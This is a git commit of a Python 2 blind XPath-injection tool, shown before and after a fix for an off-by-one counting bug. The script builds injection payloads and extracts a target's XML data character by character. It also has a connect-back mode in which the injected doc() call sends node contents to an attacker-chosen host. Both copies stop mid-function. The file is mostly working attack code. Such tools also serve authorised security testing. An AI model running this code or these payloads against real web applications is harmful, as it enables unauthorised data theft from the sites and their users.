<commit_before># This is a big hack. Its one file with only one dep (elementtree). Not a single fuck was given regarding code quality.
from __future__ import division
import concurrent.futures
import socket
import sys
import argparse
import string
import urllib2
import urllib
from elementtree.SimpleXMLWriter import XMLWriter
import BaseHTTPServer
import Queue
import urlparse
import threading

writer = XMLWriter(sys.stdout)

def ExtractDefinedNodeSet(query):
    node_count = countChildNodes(query.replace("$COUNT","*"), bigstuff=True)
    print "Found %s nodes, extracting"%node_count
    for i in xrange(1, node_count+1):
        GetXMLFromNode( query.replace("$COUNT", str(i)) )

def GetXMLFromNode(node):
    if not args.connectback:
        name_size = countStuff(payloads.get_name_length, node="name(%s)"%node, bigstuff=True)
    else:
        name_size = 0
    currentName = getNodeName("%s"%node, name_size)
    attrCount = countAttributes(node+"/@*")
    attributes = {}
    if attrCount:
        for i in xrange(1,attrCount+1):
            attribute = getNodeName(node+"/@*[%s]"%i)
            value = getNodeValue(node+"/@*[%s]"%i)
            attributes[attribute] = value
    
    writer.start(currentName, attrib=attributes)

    if not args.schema_only:
        commentCount = countChildNodes(node+"/comment()")
        if commentCount:
            for i in xrange(1, commentCount+1):
                commentsize = countContents(node+"/comment()[%s]"%i)
                comment = getNodeValue(node+"/comment()[%s]"%i, commentsize)
                if comment:
                    writer.comment(comment)
    
    childNodeCount = countChildNodes(node+"/*")
    if childNodeCount:
        for i in xrange(1, childNodeCount+1):
            GetXMLFromNode(node+"/*[%s]"%i)

    if not args.schema_only:
        if not args.connectback:
            nodesize = countContents(node+"/text()")
        else:
            nodesize = 0
        nodeValue = getNodeValue(node+"/text()", nodesize)
        if nodeValue:
            writer.data(nodeValue)
    writer.end()


class DefinedString(object):
    def __init__(self, size):
        self.string = [args.notfoundchar for i in xrange(size)]
    
    def setCharacter(self, index, value):
        self.string[index-1] = value
    
    def getString(self):
        return "".join(self.string)
    
    def __str__(self):
        return self.getString()

    
class PayloadMaker(object):
    
    BASE = string.Template("' and $payload and '1'='1")
    BASE_ERROR = string.Template("' and (if ($payload) then error() else 0) and '1' = '1")
    
    payloads = {
                "META":{
                     "WRAP_LOWERCASE":string.Template("lower-case($payload)"),
                     "WRAP_REGEX":string.Template("matches($node, '$pattern')"),
                     "DETECT_VERSION":"lower-case('A')='a'",
                     "REGEX_SUPPORT":"matches('test','.*')",
                     "HTTP_TRANSFER":string.Template("doc(concat('http://$URL$PORT/?$query=',encode-for-uri($node)))"),
                     "DOC_AVAILABLE":string.Template("doc-available('$URI')"),
                     "NODE_EXISTS":string.Template("boolean($node)"),
                     "NODE_NAME":string.Template("name($node)"),
                        },
                "1":{
                     "COUNT_CHILDREN":("count($node)=$count", ),
                     "NODEVALUE_LENGTH":("string-length($node)=$count", ),
                    
                     "GET_NODENAME":("substring(name($node),$count,1)","='$character'"),
                     "GET_NODEVALUE":("substring($node,$count,1)","='$character'"),
                    
                     "GET_NAME_LENGTH":("string-length(name($node))=$count", ),
                     "GET_CONTENT_LENGTH":("(string-length($node) > $min and string-length($node) <= $max)", ),
                     "GET_COUNT_LENGTH":("(count($node) > $min and count($node) <= $max)",),
                    },
                "2":{
                     "COUNT_CHILDREN":("count($node)=$count",),
                     "NODEVALUE_LENGTH":("string-length($node)=$count",),
                    
                     "GET_NODENAME":("normalize-unicode(substring(name($node),$count,1),'NFKC')", "='$character'"),
                     "GET_NODEVALUE":("normalize-unicode(substring($node,$count,1),'NFKC')", "='$character'"),
                    
                     "GET_NAME_LENGTH":("string-length(name($node))=$count",),
                     "GET_CONTENT_LENGTH":("(string-length($node) > $min and string-length($node) <= $max)",),
                     "GET_COUNT_LENGTH":("(count($node) > $min and count($node) <= $max)",),
                     },
    }
    
    def __getattr__(self, name):#

        if name.upper() in self.payloads["META"]:
            s = self.payloads["META"][name.upper()]
            if isinstance(s, string.Template):
                return s
            return self.BASE.substitute(payload=s)
        
        if name.upper() in self.payloads[args.xversion]:
            payload = self.payloads[args.xversion][name.upper()]
            output = "".join(payload)
            if len(payload) == 2:
                if args.xversion == "2":
                    if args.lowercase:
                        output = "%s%s"%(self.payloads["META"]["WRAP_LOWERCASE"].substitute(payload=payload[0]),
                                                                       payload[1])
            return string.Template(self.BASE.substitute(payload=output)).safe_substitute
        
        raise AttributeError()
    
    

def countStuff(payload, node, bigstuff=False, getContentLength=True, start=0, end=0):
    if not bigstuff:
        for i in xrange(start, end or args.search_limit):
            if executeQuery(args.URL, payload(count=i, node=node)):
                return i
        return False
    
    else:
        if getContentLength:
            p = payloads.get_content_length
            af = payloads.nodevalue_length
        else:
            p = payloads.get_count_length
            af = payloads.count_children

        if executeQuery(args.URL, af(node=node, count=0)):
            return 0
        MIN = 0
        MAX = 10
        for i in xrange(args.step_size+1):
            if executeQuery(args.URL, p(node=node, min=MIN, max=MAX)):
                return countStuff(af, node, bigstuff=False, start=MIN, end=MAX)
            MIN+=10
            MAX+=10
    

def countChildNodes(node, bigstuff=False):
    return countStuff(payloads.count_children, node=node, bigstuff=bigstuff, getContentLength=False)

def countAttributes(node):
    return countStuff(payloads.count_children, node=node)

def countContents(node):
    return countStuff(payloads.get_content_length, node=node, bigstuff=True)

def countName(node):
    return countStuff(payloads.get_name_length, node=node)

def getNodeName(node, size=None):
    return getCharacters(node, payloads.get_nodename, size, name=True)

def getNodeValue(node, size=None):
    return getCharacters(node, payloads.get_nodevalue, size)

def _getCharactersSingle(node, payload, searchspace):
    returner = ""
    while True:
        i = getCharacter(node, payload, len(returner)+1, searchspace)
        if not i:
            return returner
        returner+=i


def _getCharactersThreadPool(node, payload, size, searchspace,start=1):
    returner = DefinedString(size)
    
    tasks = dict((threadpool.submit(getCharacter, node, payload, i, searchspace), i) 
                 for i in xrange(start,size+1))
    
    for future in concurrent.futures.as_completed(tasks):
        id = tasks[future]

        if future.exception() is not None:
            print("Getting character %s raised exception: %s"%(id, future.exception()))
        else:
            returner.setCharacter(id, future.result() or args.notfoundchar)

    return returner.getString()


def _getCharactersHttp(node, payload, name):
    q = Queue.Queue()
    query_id = "a"
    if name:
        node = "name(%s)"%node
    class Handler(BaseHTTPServer.BaseHTTPRequestHandler):
        def log_request(self, code='-', size='-'):
            return
        
        def do_GET(self):
            query = urlparse.parse_qs(urlparse.urlparse(self.path).query)
            self.send_response(200)
            self.end_headers()
            self.wfile.write("<root></root>")
            
            if query_id in query:
                q.put(query[query_id][0])
            return
        
    server = BaseHTTPServer.HTTPServer(('localhost',80), Handler)
    
    thread = threading.Thread(target=server.serve_forever, args=(0.1,))
    thread.daemon = True
    thread.start()
    
    if not args.connectback_port == 80:
        p = ":%s"%args.connectback_port
    else:
        p = ""
    executeQuery(args.URL, payloads.BASE.substitute(payload=payloads.http_transfer.substitute(URL=args.connectback_ip,
                                                                                                query=query_id,
                                                                                                PORT=p,
                                                                                                node=node)))
    
    try:
        return q.get(timeout=7)
    except Queue.Empty:
        return None
    finally:
        server.shutdown()
        

def getCharacters(node, payload, size=None, name=False):
    if name:
        q = payloads.BASE.substitute(payload=payloads.node_exists.substitute(node=payloads.node_name.substitute(node=node)))
    else:
        q = payloads.BASE.substitute(payload=payloads.node_exists.substitute(node=node))

    if not executeQuery(args.URL, q):
        return ""

    searchspace = string.ascii_letters+string.digits#+string.punctuation
    if size and size > 10:
        if args.use_regex and args.xversion == "2":
            raw_input("using regex")
            searchspace = ""
            spaces = (("[a-z]",string.lowercase),)
            
            if not args.lowercase:
                spaces+=(("[A-Z]",string.uppercase),)
                
            spaces+= ((r"\\D",string.digits),
                      (r"\\s"," "),
                      (r"\\p{P}","""!$%&'()*+,-./_"""))
            #ToDo: Handle quote characters in the if statement + make the regex actually work :<
            for pattern,space in spaces:
                new_node = node
                if name:
                    new_node = "name(%s)"%node
                n_pat = new_node
                if args.lowercase:
                    n_pat = "lower-case(%s)"%new_node
                if executeQuery(args.URL, payloads.BASE.substitute(payload=payloads.wrap_regex.substitute(node=n_pat, pattern=pattern))):
                    searchspace+=space

    if args.connectback:
        x = _getCharactersHttp(node, payload, name)
        if x:
            return x
        else:
            if name:
                size = countContents(payloads.node_name.substitute(node=node))
            else:
                size = countContents(node)

    if not size:
        return _getCharactersSingle(node, payload, searchspace)
    return _getCharactersThreadPool(node, payload, size, searchspace)
        

def getCharacter(node, payload, count, searchspace):
    for i in searchspace:
        if executeQuery(args.URL, payload(character=i, 
                                     node=node, count=count
                                     )):
            return i
    return False

def executeQuery(url, payload):
    for i in xrange(4):
        try:
            return executeQueryInner(url, payload)
        except urllib2.URLError, e:
            if i == 3: # last try
                raise e

def executeQueryInner(url, payload):
    payload = payload.replace("'", args.quote_character)

    if args.http_method == "GET":
        data = urllib2.urlopen(url+args.post_argument+urllib.quote_plus(payload)).read()
    else:
        data = urllib2.urlopen(url, data=args.post_argument+urllib.quote_plus(payload)).read()
    if args.error_keyword:<commit_msg>Oooops. Text that was exactly 20 characters (or other multiples of 10) caused the counter to fail.<commit_after># This is a big hack. Its one file with only one dep (elementtree). Not a single fuck was given regarding code quality.
from __future__ import division
import concurrent.futures
import socket
import sys
import argparse
import string
import urllib2
import urllib
from elementtree.SimpleXMLWriter import XMLWriter
import BaseHTTPServer
import Queue
import urlparse
import threading

writer = XMLWriter(sys.stdout)

def ExtractDefinedNodeSet(query):
    node_count = countChildNodes(query.replace("$COUNT","*"), bigstuff=True)
    print "Found %s nodes, extracting"%node_count
    for i in xrange(1, node_count+1):
        GetXMLFromNode( query.replace("$COUNT", str(i)) )

def GetXMLFromNode(node):
    if not args.connectback:
        name_size = countStuff(payloads.get_name_length, node="name(%s)"%node, bigstuff=True)
    else:
        name_size = 0
    currentName = getNodeName("%s"%node, name_size)
    attrCount = countAttributes(node+"/@*")
    attributes = {}
    if attrCount:
        for i in xrange(1,attrCount+1):
            attribute = getNodeName(node+"/@*[%s]"%i)
            value = getNodeValue(node+"/@*[%s]"%i)
            attributes[attribute] = value
    
    writer.start(currentName, attrib=attributes)

    if not args.schema_only:
        commentCount = countChildNodes(node+"/comment()")
        if commentCount:
            for i in xrange(1, commentCount+1):
                commentsize = countContents(node+"/comment()[%s]"%i)
                comment = getNodeValue(node+"/comment()[%s]"%i, commentsize)
                if comment:
                    writer.comment(comment)
    
    childNodeCount = countChildNodes(node+"/*")
    if childNodeCount:
        for i in xrange(1, childNodeCount+1):
            GetXMLFromNode(node+"/*[%s]"%i)

    if not args.schema_only:
        if not args.connectback:
            nodesize = countContents(node+"/text()")
        else:
            nodesize = 0
        nodeValue = getNodeValue(node+"/text()", nodesize)
        if nodeValue:
            writer.data(nodeValue)
    writer.end()


class DefinedString(object):
    def __init__(self, size):
        self.string = [args.notfoundchar for i in xrange(size)]
    
    def setCharacter(self, index, value):
        self.string[index-1] = value
    
    def getString(self):
        return "".join(self.string)
    
    def __str__(self):
        return self.getString()

    
class PayloadMaker(object):
    
    BASE = string.Template("' and $payload and '1'='1")
    BASE_ERROR = string.Template("' and (if ($payload) then error() else 0) and '1' = '1")
    
    payloads = {
                "META":{
                     "WRAP_LOWERCASE":string.Template("lower-case($payload)"),
                     "WRAP_REGEX":string.Template("matches($node, '$pattern')"),
                     "DETECT_VERSION":"lower-case('A')='a'",
                     "REGEX_SUPPORT":"matches('test','.*')",
                     "HTTP_TRANSFER":string.Template("doc(concat('http://$URL$PORT/?$query=',encode-for-uri($node)))"),
                     "DOC_AVAILABLE":string.Template("doc-available('$URI')"),
                     "NODE_EXISTS":string.Template("boolean($node)"),
                     "NODE_NAME":string.Template("name($node)"),
                        },
                "1":{
                     "COUNT_CHILDREN":("count($node)=$count", ),
                     "NODEVALUE_LENGTH":("string-length($node)=$count", ),
                    
                     "GET_NODENAME":("substring(name($node),$count,1)","='$character'"),
                     "GET_NODEVALUE":("substring($node,$count,1)","='$character'"),
                    
                     "GET_NAME_LENGTH":("string-length(name($node))=$count", ),
                     "GET_CONTENT_LENGTH":("(string-length($node) > $min and string-length($node) <= $max)", ),
                     "GET_COUNT_LENGTH":("(count($node) > $min and count($node) <= $max)",),
                    },
                "2":{
                     "COUNT_CHILDREN":("count($node)=$count",),
                     "NODEVALUE_LENGTH":("string-length($node)=$count",),
                    
                     "GET_NODENAME":("normalize-unicode(substring(name($node),$count,1),'NFKC')", "='$character'"),
                     "GET_NODEVALUE":("normalize-unicode(substring($node,$count,1),'NFKC')", "='$character'"),
                    
                     "GET_NAME_LENGTH":("string-length(name($node))=$count",),
                     "GET_CONTENT_LENGTH":("(string-length($node) > $min and string-length($node) <= $max)",),
                     "GET_COUNT_LENGTH":("(count($node) > $min and count($node) <= $max)",),
                     },
    }
    
    def __getattr__(self, name):#

        if name.upper() in self.payloads["META"]:
            s = self.payloads["META"][name.upper()]
            if isinstance(s, string.Template):
                return s
            return self.BASE.substitute(payload=s)
        
        if name.upper() in self.payloads[args.xversion]:
            payload = self.payloads[args.xversion][name.upper()]
            output = "".join(payload)
            if len(payload) == 2:
                if args.xversion == "2":
                    if args.lowercase:
                        output = "%s%s"%(self.payloads["META"]["WRAP_LOWERCASE"].substitute(payload=payload[0]),
                                                                       payload[1])
            return string.Template(self.BASE.substitute(payload=output)).safe_substitute
        
        raise AttributeError()
    
    

def countStuff(payload, node, bigstuff=False, getContentLength=True, start=0, end=0):
    if not bigstuff:
        for i in xrange(start, end or (args.search_limit+1)):
            if executeQuery(args.URL, payload(count=i, node=node)):
                return i
        return False
    
    else:
        if getContentLength:
            p = payloads.get_content_length
            af = payloads.nodevalue_length
        else:
            p = payloads.get_count_length
            af = payloads.count_children

        if executeQuery(args.URL, af(node=node, count=0)):
            return 0
        MIN = 0
        MAX = 10
        for i in xrange(args.step_size):
            if executeQuery(args.URL, p(node=node, min=MIN, max=MAX)):
                return countStuff(af, node, bigstuff=False, start=MIN, end=MAX)
            MIN+=10
            MAX+=10
    

def countChildNodes(node, bigstuff=False):
    return countStuff(payloads.count_children, node=node, bigstuff=bigstuff, getContentLength=False)

def countAttributes(node):
    return countStuff(payloads.count_children, node=node)

def countContents(node):
    return countStuff(payloads.get_content_length, node=node, bigstuff=True)

def countName(node):
    return countStuff(payloads.get_name_length, node=node)

def getNodeName(node, size=None):
    return getCharacters(node, payloads.get_nodename, size, name=True)

def getNodeValue(node, size=None):
    return getCharacters(node, payloads.get_nodevalue, size)

def _getCharactersSingle(node, payload, searchspace):
    returner = ""
    while True:
        i = getCharacter(node, payload, len(returner)+1, searchspace)
        if not i:
            return returner
        returner+=i


def _getCharactersThreadPool(node, payload, size, searchspace,start=1):
    returner = DefinedString(size)
    
    tasks = dict((threadpool.submit(getCharacter, node, payload, i, searchspace), i) 
                 for i in xrange(start,size+1))
    
    for future in concurrent.futures.as_completed(tasks):
        id = tasks[future]

        if future.exception() is not None:
            print("Getting character %s raised exception: %s"%(id, future.exception()))
        else:
            returner.setCharacter(id, future.result() or args.notfoundchar)

    return returner.getString()


def _getCharactersHttp(node, payload, name):
    q = Queue.Queue()
    query_id = "a"
    if name:
        node = "name(%s)"%node
    class Handler(BaseHTTPServer.BaseHTTPRequestHandler):
        def log_request(self, code='-', size='-'):
            return
        
        def do_GET(self):
            query = urlparse.parse_qs(urlparse.urlparse(self.path).query)
            self.send_response(200)
            self.end_headers()
            self.wfile.write("<root></root>")
            
            if query_id in query:
                q.put(query[query_id][0])
            return
        
    server = BaseHTTPServer.HTTPServer(('localhost',80), Handler)
    
    thread = threading.Thread(target=server.serve_forever, args=(0.1,))
    thread.daemon = True
    thread.start()
    
    if not args.connectback_port == 80:
        p = ":%s"%args.connectback_port
    else:
        p = ""
    executeQuery(args.URL, payloads.BASE.substitute(payload=payloads.http_transfer.substitute(URL=args.connectback_ip,
                                                                                                query=query_id,
                                                                                                PORT=p,
                                                                                                node=node)))
    
    try:
        return q.get(timeout=7)
    except Queue.Empty:
        return None
    finally:
        server.shutdown()
        

def getCharacters(node, payload, size=None, name=False):
    if name:
        q = payloads.BASE.substitute(payload=payloads.node_exists.substitute(node=payloads.node_name.substitute(node=node)))
    else:
        q = payloads.BASE.substitute(payload=payloads.node_exists.substitute(node=node))

    if not executeQuery(args.URL, q):
        return ""

    searchspace = string.ascii_letters+string.digits#+string.punctuation
    if size and size > 10:
        if args.use_regex and args.xversion == "2":
            #raw_input("using regex")
            searchspace = ""
            spaces = (("[a-z]",string.lowercase),)
            
            if not args.lowercase:
                spaces+=(("[A-Z]",string.uppercase),)
                
            spaces+= ((r"\\D",string.digits),
                      (r"\\s"," "),
                      (r"\\p{P}","""!$%&'()*+,-./_"""))
            #ToDo: Handle quote characters in the if statement + make the regex actually work :<
            for pattern,space in spaces:
                new_node = node
                if name:
                    new_node = "name(%s)"%node
                n_pat = new_node
                if args.lowercase:
                    n_pat = "lower-case(%s)"%new_node
                if executeQuery(args.URL, payloads.BASE.substitute(payload=payloads.wrap_regex.substitute(node=n_pat, pattern=pattern))):
                    searchspace+=space

    if args.connectback:
        x = _getCharactersHttp(node, payload, name)
        if x:
            return x
        else:
            if name:
                size = countContents(payloads.node_name.substitute(node=node))
            else:
                size = countContents(node)
    #raw_input("Size: %s"%size)
    if not size:
        return _getCharactersSingle(node, payload, searchspace)
    return _getCharactersThreadPool(node, payload, size, searchspace)
        

def getCharacter(node, payload, count, searchspace):
    for i in searchspace:
        if executeQuery(args.URL, payload(character=i, 
                                     node=node, count=count
                                     )):
            return i
    return False

def executeQuery(url, payload):
    for i in xrange(4):
        try:
            return executeQueryInner(url, payload)
        except urllib2.URLError, e:
            if i == 3: # last try
                raise e

def executeQueryInner(url, payload):
    payload = payload.replace("'", args.quote_character)

    if args.http_method == "GET":
        data = urllib2.urlopen(url+args.post_argument+urllib.quote_plus(payload)).read()
    else:
        data = urllib2.urlopen(url, data=args.post_argument+urllib.quote_plus(payload)).read()
    if args.error_keyword:
{'fraction_non_alphanumeric': 0.12751512158992717, 'fraction_numerical': 0.005184545117886681, 'mean_word_length': 2.0387596899224807, 'pattern_counts': {'":': 58, '<': 17, '<?xml version=': 0, '>': 17, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 34, 'profanity_word_list.json': 2, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6759153', 'n_tokens_mistral': 7140, 'n_tokens_neox': 6875, 'n_words': 1359}